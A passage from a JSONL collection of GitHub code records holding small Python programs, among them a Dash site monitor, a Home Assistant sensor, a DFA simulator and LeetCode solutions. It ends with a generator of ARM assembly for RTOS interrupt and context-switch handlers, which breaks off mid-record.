sec)\r\nplt.show()\r\n","repo_name":"sukubhattu/SandeshSukubhattu-CE_III_56","sub_path":"lab2/graph_merge_sort.py","file_name":"graph_merge_sort.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16578769356","text":"from ctypes import cast\nimport json\nimport dash_bootstrap_components as dbc\nfrom dash import Dash\nfrom dash import dcc\nfrom dash import html\nfrom dash.dependencies import Input, Output\nfrom monitor import check_site, card_result\nfrom decouple import config\n\napp = Dash('Monitoramento dos sites', external_stylesheets=[dbc.themes.BOOTSTRAP])\n\njumbotron = html.Div(\n    dbc.Container(\n        [\n            html.H1(\"Dash de monitoramento\", className=\"display-3\"),\n            html.P(\n                \"Use o json do projeto para registrar cada site a ser monitorado!\",\n                className=\"lead\",\n            ),\n            html.Hr(className=\"my-2\"),\n            dbc.Badge(\"Disponivel\", color=\"success\", className=\"me-1\"),\n            dbc.Badge(\"Lento\", color=\"warning\", className=\"me-1\"),\n            dbc.Badge(\"Erro/Timeout\", color=\"danger\", className=\"me-1\"),\n            html.Hr(className=\"my-2\"),\n            dbc.Button('Verificar Sites', id='refresh'),\n            dcc.Interval(\n                id='interval-component',\n                interval=60*1000, # in milliseconds\n                n_intervals=0\n            )\n        ],\n        fluid=True,\n        className=\"py-3\",\n    ),\n    className=\"p-3 mb-3 bg-light rounded-3\",\n)\n\n\n@app.callback(\n    Output('sites', 'children'),\n    Input('refresh', 'n_clicks'),\n    Input('interval-component', 'n_intervals')\n)\ndef update_output(n_clicks, n_intervals):\n\n    site = {}\n    with open('sites.json', 'r') as file:\n        sites = json.loads(file.read())\n        \n    results = []\n    for site in sites['sites']:\n        card = card_result(check_site(site))\n        results.append(card)\n\n    return results\n\napp.layout = dbc.Container(\n    [\n        jumbotron,\n        dbc.Row(id='sites')\n    ]\n)\n\napp.run_server(debug=config('DEBUG', default=False, cast=bool))","repo_name":"Perceu/Horus","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39319445625","text":"name='abracadabra'\nnone_dup=[]\narrange=[]\n\n#Removing duplicates\nfor i in range(len(name)):\n    if name[i] not in none_dup:\n        none_dup.append(name[i])\n\n#Adding lookalikes\nfor i in range(len(none_dup)):\n    for j in range(len(name)):\n        if none_dup[i]==name[j]:\n            arrange.append(name[j])\n\n#Sorting answers in alphabetical order\narrange.sort()\nprint(''.join(arrange))","repo_name":"yevsel/Python","sub_path":"Algorithms/rearranger.py","file_name":"rearranger.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4134918162","text":"\"\"\"Support for Bbox binary sensors.\"\"\"\nfrom __future__ import annotations\n\nimport logging\n\nfrom homeassistant.components.binary_sensor import (\n    BinarySensorDeviceClass,\n    BinarySensorEntity,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\n\nfrom .const import DOMAIN\nfrom .entity import BboxEntity\nfrom .helpers import BboxBinarySensorDescription, finditem\n\n_LOGGER = logging.getLogger(__name__)\n\nSENSOR_TYPES: tuple[BboxBinarySensorDescription, ...] = (\n    BboxBinarySensorDescription(\n        key=\"info.device.status\",\n        name=\"Link status\",\n        device_class=BinarySensorDeviceClass.CONNECTIVITY,\n        value_fn=lambda x: x == 1,\n    ),\n)\n\n\nasync def async_setup_entry(\n    hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n    \"\"\"Set up sensor.\"\"\"\n    coordinator = hass.data[DOMAIN][entry.entry_id]\n\n    entities = [\n        BboxBinarySensor(coordinator, description) for description in SENSOR_TYPES\n    ]\n\n    async_add_entities(entities)\n\n\nclass BboxBinarySensor(BboxEntity, BinarySensorEntity):\n    \"\"\"Representation of a sensor.\"\"\"\n\n    @property\n    def is_on(self):\n        \"\"\"Return sensor state.\"\"\"\n        _LOGGER.debug(\"%s %s\", self.name, self.entity_description.key)\n        data = finditem(self.coordinator.data, self.entity_description.key)\n        if self.entity_description.value_fn is not None:\n            return self.entity_description.value_fn(data)\n        return data\n","repo_name":"cyr-ius/hass-bbox2","sub_path":"custom_components/bbox/binary_sensor.py","file_name":"binary_sensor.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30913962280","text":"# Pedir un número entre 0 y 9.999 y decir cuantas cifras tiene. Cuando el número exceda los límites emita un mensaje y finalice el programa\n\ndef contCifras():\n    num = int(input(\"Ingrese un numero mayor que 0 y menor que 9999: \"))\n\n    if num < 0 or num > 9999:\n        print(\"El número excede los límites.\")\n    else:\n        cifras = len(str(num))\n        print(\"El número tiene\", cifras, \"cifras.\")\n\ncontCifras()","repo_name":"juaness007/mejoramiento_Castillo","sub_path":"Miscelaneas/condicionales/cond3.py","file_name":"cond3.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12058458418","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 23 18:58:08 2020\r\n\r\n@author: ZLT\r\n\"\"\"\r\n\r\nimport pca\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom numpy import *\r\n\r\ndataMat = pca.loadDataSet('testSet.txt')\r\nprint(dataMat)\r\nlowDMat, reconMat = pca.pca(dataMat,1) #变一维\r\n#lowDMat, reconMat = pca.pca(dataMat,2) #变二维\r\n\r\nprint(shape(lowDMat))\r\nprint(shape(reconMat))\r\n\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\nax.scatter(dataMat[:,0].flatten().A[0], dataMat[:,1].flatten().A[0],marker='^',s=90)\r\nax.scatter(reconMat[:,0].flatten().A[0], reconMat[:,1].flatten().A[0],marker='o',s=50,c='red')\r\n\r\n\r\nplt.show()\r\n\r\ndataMat = pca.loadDataSet('testSet3.txt')\r\nprint(dataMat)\r\n\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfig=plt.figure()\r\nax1 = Axes3D(fig)\r\nax1.scatter3D(dataMat[:,0].flatten().A[0], dataMat[:,1].flatten().A[0],dataMat[:,2].flatten().A[0], cmap='Blues')  #绘制散点图\r\nplt.show()\r\n\r\n\r\nlowDMat2, reconMat2 = pca.pca(dataMat,2) #变二维\r\nlowDMat, reconMat = pca.pca(lowDMat2,1) #变一维\r\nprint(shape(lowDMat))\r\nprint(shape(lowDMat2))\r\nprint(shape(reconMat))\r\nprint(shape(reconMat2))\r\n\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\nax.scatter(lowDMat2[:,0].flatten().A[0],lowDMat2[:,1].flatten().A[0],marker='^',s=90)\r\nax.scatter(reconMat[:,0].flatten().A[0], reconMat[:,1].flatten().A[0],marker='o',s=50,c='red')\r\n\r\nplt.show()\r\n\r\n\r\n\r\nprint(reconMat)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ZLT0309/Python_PCA","sub_path":"01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74920722980","text":"'''\nProcessPoolExecutor is similar to the ThreadPoolExecutor.\n'''\n\nimport time\nfrom random import randint\nfrom concurrent.futures import ProcessPoolExecutor\n\n\ndef processing(id, cnt):\n    num = 0\n    print(f\"Processing Task {id}...\")\n    # Similate CPU Bound task\n    while num <= cnt:\n        num += 1\n    print(f\"Task {id} is Completed\")\n\n\nif __name__ == \"__main__\":\n\n    sTime = time.perf_counter()\n\n    with ProcessPoolExecutor(max_workers=2) as pool:\n        print(\"assigning work\")\n        # we can use the `submit` function to assign the work to the pool of Processes.\n        pool.submit(processing, 1, randint(50000000, 1000000000))\n        pool.submit(processing, 2, randint(50000000, 1000000000))\n        pool.submit(processing, 3, randint(50000000, 1000000000))\n        \n        # we can even use the `map` function \n        # pool.map(processing, tasks)\n    \n    eTime = time.perf_counter()\n\n    print(f\"Took {eTime-sTime} seconds to finish\")\n\n\n'''\nOutput:\n> python .\\11.ProcessPools.py \nassigning work\nProcessing Task 1...\nProcessing Task 2...\nTask 1 is Completed\nProcessing Task 3...\nTask 2 is Completed\nTask 3 is Completed\nTook 39.191284499829635 seconds to finish\n> \n\nNote: It only started two processes as we kept the `max_workers=2`\n'''\n\n    \n\n","repo_name":"mvenkatesh431/python-threading","sub_path":"11.ProcessPools.py","file_name":"11.ProcessPools.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1382870619","text":"class DFA:\n\n    # Creates a new DFA with the alphabet alpha\n    def __init__(self, alpha):\n        self.current_state = None\n        self.start_state = None\n        self.alphabet = alpha\n        self.accept_states = []\n        # Connection list keeps track of connections between states\n        # con_list[i] contains a list of tuples of (new_state, character) values for state i\n        self.con_list = []\n        \n    def print_info(self):\n        print(\"Total number of states: \" + str(len(self.con_list)))\n        print(\"Current state: \" + str(self.current_state))\n        print(\"Start state: \" + str(self.start_state))\n        print(\"Alphabet:\")\n        print(self.alphabet)\n        print(\"Accept States:\")\n        print(self.accept_states)\n\n    def get_num_states(self):\n        return len(self.con_list)\n\n    def is_valid_state(self, state):\n        if state >= 0 and state < self.get_num_states():\n            return True\n        else:\n            return False\n\n    # Adds a new state to the connection matrix, by default is not an accept state\n    def add_state(self, accept = False):\n        # If first state, make start state by default\n        if self.get_num_states() == 0:\n            self.set_start_state(0)\n\n        # Add a new entry to the bottom of the connection list\n        self.con_list.append([])\n\n        # Append accept status to list of accept states\n        self.accept_states.append(accept)\n\n\n    # Checks if the character given is in the alphabet of the DFA\n    def is_valid_character(self, char):\n        if char in self.alphabet:\n            return True\n        else:\n            return False\n            \n\n    # Creates a new connection between old_state and new_state when character is entered\n    def add_connection(self, old_state, new_state, character):\n        if self.is_valid_state(old_state):\n            if self.is_valid_state(new_state):\n                if self.is_valid_character(character):\n                    self.con_list[old_state].append((new_state, character))\n                else:\n                    print(\"Character is invalid: \" + character)\n            else:\n                print(\"New state is invalid: \" + str(new_state))\n        else:\n            print(\"Original state is invalid: \" + str(old_state))\n\n            \n    # Checks if a DFA has the correct number of connections to be usable\n    def is_valid_DFA(self):\n        # Each state must have a connection for each character in the alphabet\n        for state in self.con_list:\n            # Creates an empty set to hold characters of transitions for this state\n            state_set = set()\n            for conn in state:\n                # Add the character from each transition\n                state_set.add(conn[1])\n\n            # Checks if number of connections = length of alphabet\n            if len(state_set) != len(self.alphabet):\n                print(\"DFA invalid, incorrect number of connections\")\n                return False\n\n            # Checks if state_list is same as the alphabet set\n            if state_set != set(self.alphabet):\n                print(\"DFA invalid, not a connection for every alphabet character\")\n                return False\n\n        # Check if DFA has start state set\n        if self.start_state == None:\n            print(\"DFA invalid, cannot find start state\")\n            return False\n\n        # If all checks passed, return true\n        return True\n\n\n    # By default, start state is 0 but this will change it\n    def set_start_state(self, state):\n        self.start_state = state\n\n\n    # Returns the next state given the current state and the next character input\n    def find_next_state(self, char):\n        current_transitions = self.con_list[self.current_state]\n        i = 0\n        for t in current_transitions:\n            if t[1] == char:\n                return i\n            else:\n                i += 1\n\n        print(\"Could not find next state\")\n        return None\n\n\n    # Transitions from current state to a new state depending on char\n    def transition(self, char):\n        next_state = self.find_next_state(char)\n        self.current_state = self.con_list[self.current_state][next_state][0]\n\n\n    # Checks if string only contains characters from alphabet\n    def is_valid_string(self, string):\n        for char in string:\n            if char not in self.alphabet:\n                print(\"Character \" + char + \" not in alphabet\")\n                return False\n        return True\n    \n\n    # Runs the DFA with string as the input\n    # Returns \"accept\" if string is accepted, \"reject\" otherwise\n    # Verbose mode outputs info on each transition\n    def run(self, string, verbose = False):\n        if self.is_valid_DFA():\n            if self.is_valid_string(string):\n                self.current_state = self.start_state\n                for char in string:\n                    # Tracking previous state for verbos mode\n                    last_state = self.current_state\n                    self.transition(char)\n                    # Output verbose mode info\n                    if verbose:\n                        print(\"Old state: \" + str(last_state) + \", new state: \" + str(self.current_state) + \", character: \" + str(char))\n                        \n\n                # Check if final state is accept state\n                if self.accept_states[self.current_state]:\n                    result = \"accept\"\n                else:\n                    result = \"reject\"\n            else:\n                result = \"Error in string\"\n        else:\n            result = \"Error in DFA\"\n\n        # Set current state back to None as the DFA finishes\n        self.current_state = None\n        return \"Input string: \" + string + \" Result: \" + result\n\n        \nif __name__ == \"__main__\":\n    alphabet = (\"a\", \"b\")\n    test = DFA(alphabet)\n    test.add_state()\n    test.add_state()\n    test.add_state()\n    test.add_state(True)\n    test.add_state()\n    \n    test.add_connection(0, 1, \"a\")\n    test.add_connection(0, 4, \"b\")\n    test.add_connection(1, 4, \"a\")\n    test.add_connection(1, 2, \"b\")\n    test.add_connection(2, 3, \"a\")\n    test.add_connection(2, 4, \"b\")\n    test.add_connection(3, 3, \"a\")\n    test.add_connection(3, 3, \"b\")\n    test.add_connection(4, 4, \"a\")\n    test.add_connection(4, 4, \"b\")\n\n    print(test.run(\"ababbb\"))\n    test.print_info()\n    \n","repo_name":"Dantidisestablishmentarianism/DFA_Sim","sub_path":"DFA.py","file_name":"DFA.py","file_ext":"py","file_size_in_byte":6317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14150710795","text":"# https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array\n\nfrom typing import List\nimport unittest\nfrom dataclasses import dataclass\n\n\nclass Solution:\n    def findDisappearedNumbers(self, nums: List[int]) -> List[int]:\n\n        seen = set(nums)\n        result = []\n        n = len(nums)\n\n        for i in range(1, n + 1):\n            if i not in seen:\n                result.append(i)\n\n        return result\n\n\n@dataclass\nclass TestCase:\n    nums: List[int]\n    expectation: List[int]\n\n\nclass TestSolution(unittest.TestCase):\n    def test_solution(self):\n        solution = Solution()\n\n        tests = [\n            TestCase([4, 3, 2, 7, 8, 2, 3, 1], [5, 6]),\n            TestCase([1, 1], [2])\n        ]\n\n        for t in tests:\n            with self.subTest(t):\n                self.assertEqual(solution.findDisappearedNumbers(t.nums), t.expectation)\n","repo_name":"qskyhigh/leetcode","sub_path":"e_448_find_all_numbers_disappeared_in_an_array.py","file_name":"e_448_find_all_numbers_disappeared_in_an_array.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37207392128","text":"sum = 0\narr = list(map(int, input().split()))\n\nfor i in range(1, 1 << len(arr)): # 부분 갯수 수만큼 만들어주기위해 2**n 번 합니다. 어차피 0 은 아님요 ( 그래서 1부터임)\n    sum = 0 # 각 부분집합 합을 0이라고 초기화하기\n    for j in range(len(arr)): # i를 이진법으로 하고 1의 위치를 알아보기 위해 for를 돌립니다.\n        if i & (1<<j) : # 마 니 j 번째에 1 있나?\n            sum += arr[j] #잇으면 합해라\n\n    if sum == 10: #그 i번째 부분집합의 합이 10인가?\n        for j in range(len(arr)): #그면 뽑기위해 다시 부분집합 다 만드세여\n            if i & (1 << j): # 마 니 j번째에 1 잇나?\n                print(arr[j], end= \" \") #있으면 나와라\n\n        print() # 한 부분집합이 끝나면 엔터 드감","repo_name":"nsk324/TIL","sub_path":"남수경/0814/연습문제2.py","file_name":"연습문제2.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25608330019","text":"# coding=utf-8\n\n# 双指针头尾同时开始遍历\n\nclass Solution(object):\n    def isPalindrome(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: bool\n        \"\"\"\n        st = 0\n        ed = len(s) - 1\n        while st < ed:\n            while st <= ed and not s[st].isalpha() and not s[st].isdigit(): st += 1    # st <= ed必须写在前面\n            while st <= ed and not s[ed].isalpha() and not s[ed].isdigit(): ed -= 1\n            if st >= ed: break\n            if s[st].lower() != s[ed].lower(): return False   # 所有string值都可以用于lower函数，不光是字母\n            st += 1\n            ed -= 1\n\n        return True\n","repo_name":"sindwerra/Algorithms","sub_path":"Leetcode/String/#125-Valid Palindrome/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"40693659029","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n#-----------------------------------------------------------------------------------------------------------------------\n\nimport sys, interrupt_names_teensy_3_6\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef ENDC () :\n  return '\\033[0m'\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef RED () :\n  return '\\033[91m'\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef BOLD () :\n  return '\\033[1m'\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef BOLD_RED () :\n  return BOLD () + RED ()\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef asSeparator () :\n  return \"@\" + (\"-\" * 119) + \"\\n\"\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef cppSeparator () :\n  return \"//\" + (\"-\" * 118) + \"\\n\"\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateSVChandler ():\n  sFile = asSeparator ()\n  sFile += \"@                 S V C    H A N D L E R    ( D O U B L E    S T A C K    M O D E )\\n\"\n  sFile += asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@          PSP+32 -> |                            |\\n\"\n  sFile += \"@                    |----------------------------| \\\\\\n\"\n  sFile += \"@          PSP+28 -> | xPSR                       |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+24 -> | PC (after SVC instruction) |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+20 -> | LR                         |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+16 -> | R12                        |  |  Saved by interrupt response\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+12 -> | R3                         |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+8  -> | R2                         |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@          PSP+4  -> | R1                         |  |\\n\"\n  sFile += \"@                    |----------------------------|  |\\n\"\n  sFile += \"@     /--- PSP ----> | R0                         |  |\\n\"\n  sFile += \"@     |              |----------------------------| /\\n\"\n  sFile += \"@     |              |                            |\\n\"\n  sFile += \"@     |\\n\"\n  sFile += \"@     |                          ---------------------*\\n\"\n  sFile += \"@     |                                          | LR return code      | +36 [ 9]\\n\"\n  sFile += \"@     |                          ---------------------*\\n\"\n  sFile += \"@     \\----------------------------------------- | R13 (PSP)           | +32 [ 8]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R11                 | +28 [ 7]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R10                 | +24 [ 6]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R9                  | +20 [ 5]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R8                  | +16 [ 4]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R7                  | +12 [ 3]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R6                  | + 8 [ 2]\\n\"\n  sFile += \"@                                ---------------------*\\n\"\n  sFile += \"@                                                | R5                  | + 4 [ 1]\\n\"\n  sFile += \"@  *------------------------------------*        *---------------------*\\n\"\n  sFile += \"@  | var.running.task.control.block.ptr +------> | R4                  | + 0 [ 0]\\n\"\n  sFile += \"@  *------------------------------------*        *---------------------*\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"\t.section\t.bss.var.background.task.context, \\\"aw\\\", %nobits\\n\"\n  sFile += \"  .align\t  2\\n\\n\"\n  sFile += \"var.background.task.context:\\n\"\n  sFile += \"  .space  4\\n\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"\t.section\t.text.interrupt.SVC, \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .global interrupt.SVC\\n\"\n  sFile += \"  .type interrupt.SVC, %function\\n\\n\"\n  sFile += \"interrupt.SVC:\\n\"\n  sFile += \"@----------------------------------------- Save preserved registers\\n\"\n  sFile += \"  push  {r4, lr}\\n\"\n  sFile += \"@----------------------------------------- R4 <- thread SP\\n\"\n  sFile += \"  mrs   r4, psp\\n\"\n  sFile += \"@----------------------------------------- Restore R0, R1, R2 and R3 from saved stack\\n\"\n  sFile += \"  ldmia r4!, {r0, r1, r2, r3}       @ R4 incremented by 16\\n\"\n  sFile += \"@----------------------------------------- R4 <- Address of SVC instruction\\n\"\n  sFile += \"  ldr   r4, [r4, #8]                @ 8 : 2 stacked registers before saved PC\\n\"\n  sFile += \"@----------------------------------------- R12 <- bits 0-7 of SVC instruction\\n\"\n  sFile += \"  ldrb  r12, [r4, #-2]              @ R12 is service call index\\n\"\n  sFile += \"@----------------------------------------- R4 <- address of dispatcher table\\n\"\n  sFile += \"  ldr   r4, =svc.dispatcher.table\\n\"\n  sFile += \"@----------------------------------------- R12 <- address of routine to call\\n\"\n  sFile += \"  ldr   r12, [r4, r12, lsl #2]      @ R12 = R4 + (R12 << 2)\\n\"\n  sFile += \"@----------------------------------------- R4 <- calling task context\\n\"\n  sFile += \"  ldr   r4, =var.running.task.control.block.ptr\\n\"\n  sFile += \"  ldr   r4, [r4]\\n\"\n  sFile += \"@----------------------------------------- Call service routine\\n\"\n  sFile += \"  blx   r12                         @ R4:calling task context address\\n\"\n  sFile += \"@--- Continues in sequence to handle.context.switch\\n\\n\"\n  sFile += asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@                 H A N D L E    C O N T E X T    S W I T C H    ( D O U B L E    S T A C K    M O D E )\\n\"\n  sFile += \"@\\n\"\n  sFile += \"@  On entry:\\n\"\n  sFile += \"@    - R4 contains the runnning task save context address,\\n\"\n  sFile += \"@    - R4 and LR of running task have been pushed on handler stack.\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"handle.context.switch:\\n\"\n  sFile += \"@----------------------------------------- Select task to run\\n\"\n  sFile += \"  bl    kernel.select.task.to.run\\n\"\n  sFile += \"@----------------------------------------- R0 <- calling task context, R1 <- new task context\\n\"\n  sFile += \"  ldr   r1, =var.running.task.control.block.ptr\\n\"\n  sFile += \"  mov   r0, r4\\n\"\n  sFile += \"  ldr   r1, [r1]\\n\"\n  sFile += \"@----------------------------------------- Restore preserved registers\\n\"\n  sFile += \"  pop   {r4, lr}\\n\"\n  sFile += \"@----------------------------------------- Running task did change ?\\n\"\n  sFile += \"  cmp   r0, r1  @ R0:calling task context, R1:new task context\\n\"\n  sFile += \"  bne   running.state.did.change\\n\"\n  sFile += \"  bx    lr  @ No change\\n\"\n  sFile += \"@----------------------------------------- Save context of preempted task\\n\"\n  sFile += \"running.state.did.change:\\n\"\n  sFile += \"  mrs   r12, psp\\n\"\n  sFile += \"  cbz   r0, save.background.task.context\\n\"\n  sFile += \"@--- Save registers r4 to r11, PSP (stored in R12), LR\\n\"\n  sFile += \"  stmia r0, {r4, r5, r6, r7, r8, r9, r10, r11, r12, lr}\\n\"\n  sFile += \"  b     perform.restore.context\\n\"\n  sFile += \"save.background.task.context:\\n\"\n  sFile += \"  ldr   r2, =var.background.task.context\\n\"\n  sFile += \"  str   r12, [r2]\\n\"\n  sFile += \"@----------------------------------------- Restore context of activated task\\n\"\n  sFile += \"perform.restore.context:\\n\"\n  sFile += \"  cbz   r1, restore.background.task.context\\n\"\n  sFile += \"  ldmia r1, {r4, r5, r6, r7, r8, r9, r10, r11, r12, lr}\\n\"\n  sFile += \"  msr   psp, r12\\n\"\n  sFile += \"  bx    lr\\n\"\n  sFile += \"@----------------------------------------- Restore background task context\\n\"\n  sFile += \"restore.background.task.context:\\n\"\n  sFile += \"  ldr   r2, =var.background.task.context\\n\"\n  sFile += \"  ldr   r2, [r2]\\n\"\n  sFile += \"  msr   psp, r2\\n\"\n  sFile += \"  bx    lr\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateBreakpointHandler () :\n  sFile = asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@                 B K P T    H A N D L E R    ( D O U B L E    S T A C K    M O D E )\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@                    |                            |\\n\"\n  sFile += \"@          PSP+32 -> |----------------------------| \\\\\\n\"\n  sFile += \"@                    | xPSR                       |  |\\n\"\n  sFile += \"@          PSP+28 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | PC (BKPT instruction)      |  |\\n\"\n  sFile += \"@          PSP+24 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | LR                         |  |\\n\"\n  sFile += \"@          PSP+20 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R12                        |  |  Saved by interrupt response\\n\"\n  sFile += \"@          PSP+16 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R3                         |  |\\n\"\n  sFile += \"@          PSP+12 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R2                         |  |\\n\"\n  sFile += \"@          PSP+8  -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R1                         |  |\\n\"\n  sFile += \"@          PSP+4  -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R0                         |  |\\n\"\n  sFile += \"@          PSP    -> |----------------------------| /\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section  .text.interrupt.DebugMonitor, \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .global interrupt.DebugMonitor\\n\"\n  sFile += \"  .type interrupt.DebugMonitor, %function\\n\\n\"\n  sFile += \"interrupt.DebugMonitor:\\n\"\n  sFile += \"@--------------------- Save preserved registers\\n\"\n  sFile += \"  push  {r5, lr}\\n\"\n  sFile += \"@--------------------- R5 <- thread SP\\n\"\n  sFile += \"  mrs   r5, psp\\n\"\n  sFile += \"  ldmia r5, {r0, r1, r2, r3}\\n\"\n  sFile += \"@--------------------- LR <- Address of BKPT instruction\\n\"\n  sFile += \"  ldr   lr, [r5, #24]     @ 24 : 6 stacked registers before saved PC\\n\"\n  sFile += \"@--------------------- Set return address to instruction following BKPT\\n\"\n  sFile += \"@  adds  lr, #2\\n\"\n  sFile += \"@  str   lr, [r5, #24]\\n\"\n  sFile += \"@--------------------- R12 <- address of dispatcher\\n\"\n  sFile += \"  ldr   r12, =section.dispatcher.table\\n\"\n  sFile += \"@--------------------- LR <- bits 0-7 of BKPT instruction\\n\"\n  sFile += \"  ldrb  lr, [lr, #-2]            @ LR is service call index\\n\"\n  sFile += \"@--------------------- r12 <- address of routine to call\\n\"\n  sFile += \"  ldr   r12, [r12, lr, lsl #2]   @ R12 = [R12 + LR * 4]\\n\"\n  sFile += \"@--------------------- Call service routine\\n\"\n  sFile += \"  blx   r12\\n\"\n  sFile += \"@--------------------- Set return code (from R0 to R3) in stacked registers\\n\"\n  sFile += \"  stmia r5!, {r0, r1, r2, r3}\\n\"\n  sFile += \"@--------------------- Restore preserved registers, return from interrupt\\n\"\n  sFile += \"  pop   {r5, pc}\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateBreakpointSection (sectionName, idx):\n  sFile  = asSeparator () + \"\\n\"\n  sFile += \"  .section .text.\" + section + \", \\\"ax\\\", %progbits\\n\"\n  sFile += \"  .global \" + section +\"\\n\"\n  sFile += \"  .align 1\\n\"\n  sFile += \"  .type \" + section +\", %function\\n\\n\"\n  sFile += section +\":\\n\"\n  sFile += \"  .fnstart\\n\"\n  sFile += \"  mrs  r12, IPSR @ r12 <- 0x??????00 in thread mode, 0x??????nn, nn ≠ 0 in handler mode\\n\"\n  sFile += \"  ands r12, #255\\n\"\n  sFile += \"  bne  section.\" + section + \" @ in handler mode, call implementation routine directly\\n\"\n  sFile += \"  bkpt #\" + str (idx) + \"\\n\"\n  sFile += \"  bx   lr\\n\\n\"\n  sFile += \".Lfunc_end_\" + section +\":\\n\"\n  sFile += \"  .size \" + section +\", .Lfunc_end_\" + section +\" - \" + section +\"\\n\"\n  sFile += \"  .cantunwind\\n\"\n  sFile += \"  .fnend\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateSoftwareInterruptandler () :\n  sFile = asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@     SECTIONS: Software Interrupt Handler (two stack mode)\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator ()\n  sFile += \"@\\n\"\n  sFile += \"@                    |                            |\\n\"\n  sFile += \"@          PSP+32 -> |----------------------------| \\\\\\n\"\n  sFile += \"@                    | xPSR                       |  |\\n\"\n  sFile += \"@          PSP+28 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | PC                         |  |\\n\"\n  sFile += \"@          PSP+24 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | LR                         |  |\\n\"\n  sFile += \"@          PSP+20 -> |----------------------------|  |\\n\"\n  sFile += 